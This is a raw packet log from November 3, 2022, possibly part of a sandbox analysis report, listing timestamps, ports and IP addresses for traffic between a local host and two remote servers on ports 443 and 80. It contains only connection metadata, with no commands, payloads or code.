Nov 3, 2022 12:46:52.755189896 CET	49706	443	192.168.2.6	185.220.204.64
Nov 3, 2022 12:46:52.755284071 CET	443	49706	185.220.204.64	192.168.2.6
Nov 3, 2022 12:46:52.755398989 CET	49706	443	192.168.2.6	185.220.204.64
Nov 3, 2022 12:46:52.755424976 CET	443	49706	185.220.204.64	192.168.2.6
Nov 3, 2022 12:46:52.755448103 CET	443	49706	185.220.204.64	192.168.2.6
Nov 3, 2022 12:46:52.755537033 CET	49706	443	192.168.2.6	185.220.204.64
Nov 3, 2022 12:46:52.755590916 CET	443	49706	185.220.204.64	192.168.2.6
Nov 3, 2022 12:46:52.755698919 CET	49706	443	192.168.2.6	185.220.204.64
Nov 3, 2022 12:46:52.755778074 CET	443	49706	185.220.204.64	192.168.2.6
Nov 3, 2022 12:46:52.755883932 CET	49706	443	192.168.2.6	185.220.204.64
Nov 3, 2022 12:46:52.786075115 CET	443	49706	185.220.204.64	192.168.2.6
Nov 3, 2022 12:46:52.786176920 CET	443	49706	185.220.204.64	192.168.2.6
Nov 3, 2022 12:46:52.786274910 CET	443	49706	185.220.204.64	192.168.2.6
Nov 3, 2022 12:46:52.786328077 CET	49706	443	192.168.2.6	185.220.204.64
Nov 3, 2022 12:46:52.786340952 CET	443	49706	185.220.204.64	192.168.2.6
Nov 3, 2022 12:46:52.786367893 CET	443	49706	185.220.204.64	192.168.2.6
Nov 3, 2022 12:46:52.786381006 CET	49706	443	192.168.2.6	185.220.204.64
Nov 3, 2022 12:46:52.786416054 CET	49706	443	192.168.2.6	185.220.204.64
Nov 3, 2022 12:46:52.786422014 CET	443	49706	185.220.204.64	192.168.2.6
Nov 3, 2022 12:46:52.786443949 CET	49706	443	192.168.2.6	185.220.204.64
Nov 3, 2022 12:46:52.786474943 CET	443	49706	185.220.204.64	192.168.2.6
Nov 3, 2022 12:46:52.786524057 CET	443	49706	185.220.204.64	192.168.2.6
Nov 3, 2022 12:46:52.786535978 CET	49706	443	192.168.2.6	185.220.204.64
Nov 3, 2022 12:46:52.786545038 CET	443	49706	185.220.204.64	192.168.2.6
Nov 3, 2022 12:46:52.786587954 CET	49706	443	192.168.2.6	185.220.204.64
Nov 3, 2022 12:46:52.786596060 CET	49706	443	192.168.2.6	185.220.204.64
Nov 3, 2022 12:46:52.786632061 CET	443	49706	185.220.204.64	192.168.2.6
Nov 3, 2022 12:46:52.786708117 CET	49706	443	192.168.2.6	185.220.204.64
Nov 3, 2022 12:46:52.786765099 CET	443	49706	185.220.204.64	192.168.2.6
Nov 3, 2022 12:46:52.786844969 CET	49706	443	192.168.2.6	185.220.204.64
Nov 3, 2022 12:46:52.786923885 CET	443	49706	185.220.204.64	192.168.2.6
Nov 3, 2022 12:46:52.786998034 CET	443	49706	185.220.204.64	192.168.2.6
Nov 3, 2022 12:46:52.787018061 CET	49706	443	192.168.2.6	185.220.204.64
Nov 3, 2022 12:46:52.787024975 CET	443	49706	185.220.204.64	192.168.2.6
Nov 3, 2022 12:46:52.787061930 CET	49706	443	192.168.2.6	185.220.204.64
Nov 3, 2022 12:46:52.787079096 CET	49706	443	192.168.2.6	185.220.204.64
Nov 3, 2022 12:46:52.787098885 CET	443	49706	185.220.204.64	192.168.2.6
Nov 3, 2022 12:46:52.787156105 CET	49706	443	192.168.2.6	185.220.204.64
Nov 3, 2022 12:46:52.787172079 CET	443	49706	185.220.204.64	192.168.2.6
Nov 3, 2022 12:46:52.787234068 CET	49706	443	192.168.2.6	185.220.204.64
Nov 3, 2022 12:46:52.817971945 CET	443	49706	185.220.204.64	192.168.2.6
Nov 3, 2022 12:46:52.818140030 CET	443	49706	185.220.204.64	192.168.2.6
Nov 3, 2022 12:46:52.818276882 CET	49706	443	192.168.2.6	185.220.204.64
Nov 3, 2022 12:46:52.818278074 CET	49706	443	192.168.2.6	185.220.204.64
Nov 3, 2022 12:46:52.818312883 CET	443	49706	185.220.204.64	192.168.2.6
Nov 3, 2022 12:46:52.818386078 CET	49706	443	192.168.2.6	185.220.204.64
Nov 3, 2022 12:46:52.818938971 CET	443	49706	185.220.204.64	192.168.2.6
Nov 3, 2022 12:46:52.819027901 CET	49706	443	192.168.2.6	185.220.204.64
Nov 3, 2022 12:46:52.819056034 CET	49706	443	192.168.2.6	185.220.204.64
Nov 3, 2022 12:46:52.819149017 CET	443	49706	185.220.204.64	192.168.2.6
Nov 3, 2022 12:46:52.819225073 CET	49706	443	192.168.2.6	185.220.204.64
Nov 3, 2022 12:46:52.819267988 CET	443	49706	185.220.204.64	192.168.2.6
Nov 3, 2022 12:46:52.819339991 CET	49706	443	192.168.2.6	185.220.204.64
Nov 3, 2022 12:46:52.819386005 CET	443	49706	185.220.204.64	192.168.2.6
Nov 3, 2022 12:46:52.819557905 CET	49706	443	192.168.2.6	185.220.204.64
Nov 3, 2022 12:46:52.819576979 CET	443	49706	185.220.204.64	192.168.2.6
Nov 3, 2022 12:46:52.819611073 CET	443	49706	185.220.204.64	192.168.2.6
Nov 3, 2022 12:46:52.819632053 CET	49706	443	192.168.2.6	185.220.204.64
Nov 3, 2022 12:46:52.819659948 CET	49706	443	192.168.2.6	185.220.204.64
Nov 3, 2022 12:46:52.819900036 CET	49706	443	192.168.2.6	185.220.204.64
Nov 3, 2022 12:46:52.820869923 CET	49706	443	192.168.2.6	185.220.204.64
Nov 3, 2022 12:46:52.820899010 CET	443	49706	185.220.204.64	192.168.2.6
Nov 3, 2022 12:46:52.820930958 CET	49706	443	192.168.2.6	185.220.204.64
Nov 3, 2022 12:46:52.820947886 CET	443	49706	185.220.204.64	192.168.2.6
Nov 3, 2022 12:46:53.456096888 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:53.456188917 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:53.513600111 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.523222923 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.582308054 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:53.582370043 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:53.639081001 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.648957968 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.648988008 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.649005890 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.649023056 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.649041891 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.649061918 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.649079084 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.649096966 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.649113894 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.649130106 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.649174929 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:53.649228096 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:53.705986977 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.706020117 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.706039906 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.706058979 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.706078053 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.706096888 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.706114054 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.706130981 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.706147909 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.706168890 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.706187963 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.706206083 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.706208944 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:53.706223011 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.706240892 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.706258059 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.706262112 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:53.706274033 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.706288099 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:53.706293106 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.706310987 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.706329107 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.706337929 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:53.706346989 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.706367016 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:53.706393957 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:53.763178110 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.763210058 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.763227940 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.763246059 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.763262987 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.763282061 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.763298988 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.763314962 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.763331890 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.763349056 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.763365984 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.763386011 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.763396978 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:53.763407946 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.763426065 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.763442993 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.763459921 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.763474941 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:53.763475895 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.763493061 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.763509989 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:53.763509989 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.763528109 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.763535976 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:53.763545036 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.763561964 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.763576984 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.763586044 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:53.763596058 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.763612986 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.763617992 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:53.763629913 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.763641119 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:53.763678074 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:53.763705969 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.763725042 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.763742924 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.763761044 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.763788939 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:53.763822079 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:53.763894081 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.763911963 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.763928890 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.763946056 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.763961077 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:53.763979912 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:53.764204025 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.764226913 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.764245033 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.764277935 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.764295101 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.764311075 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.764328957 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:53.764367104 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:53.820390940 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.820424080 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.820446968 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.820463896 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.820481062 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.820498943 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.820522070 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.820544004 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.820566893 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.820584059 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.820600986 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.820606947 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:53.820616961 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.820638895 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.820655107 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.820700884 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.820714951 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:53.820714951 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:53.820724964 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.820729971 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:53.820750952 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.820774078 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:53.820775032 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.820799112 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.820812941 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:53.820822001 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.820843935 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.820858955 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:53.820867062 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.820904970 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:53.820995092 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.821034908 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.821064949 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.821074963 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:53.821089029 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.821135044 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:53.821142912 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.821167946 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.821190119 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.821213961 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.821218967 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:53.821257114 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:53.822125912 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.822153091 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.822175026 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.822196960 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.822202921 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:53.822220087 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.822242022 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.822251081 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:53.822264910 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.822293997 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.822297096 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:53.822316885 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.822339058 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.822340965 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:53.822361946 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.822384119 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.822390079 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:53.822407007 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.822428942 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.822432041 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:53.822452068 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.822474957 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.822480917 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:53.822498083 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.822520971 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.822524071 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:53.822544098 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.822566032 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.822568893 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:53.822587967 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.822609901 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.822616100 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:53.822633028 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.822654963 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.822659969 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:53.822679043 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.822700977 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.822705030 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:53.822722912 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.822740078 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:53.822746038 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.822767973 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.822789907 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:53.822792053 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.822813988 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.822828054 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:53.822837114 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.822859049 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.822880030 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:53.822952986 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.822974920 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.822997093 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.822999954 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:53.823019028 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.823036909 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:53.823043108 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.823065042 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.823087931 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.823091030 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:53.823111057 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.823127031 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:53.823133945 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.823157072 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.823179007 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.823182106 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:53.823200941 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.823215961 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:53.823224068 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.823246956 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.823267937 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.823271990 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:53.823306084 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:53.823333979 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.823358059 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.823405981 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:53.877604008 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.877661943 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.877729893 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.877783060 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:53.877795935 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.877851009 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:53.877862930 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.877929926 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.877979040 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:53.877993107 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.878057957 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.878104925 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:53.878120899 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.878185987 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.878232002 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:53.878246069 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.878314972 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.878359079 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:53.878387928 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.878453016 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.878509998 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:53.878514051 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.878587961 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.878638029 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:53.878648996 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.878731012 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:53.878781080 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:53.878786087 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.017180920 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.542347908 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.542593002 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.599127054 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.610202074 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.753365040 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.753477097 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.812045097 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.823163033 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.823227882 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.823262930 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.823297977 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.823333025 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.823367119 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.823383093 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.823400021 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.823421001 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.823435068 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.823470116 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.823477030 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.823504925 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.823540926 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.823544025 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.823575020 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.823609114 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.823616982 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.823642969 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.823677063 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.823682070 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.823710918 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.823745966 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.823751926 CET	49704	80	192.168.2.6	193.106.191.15
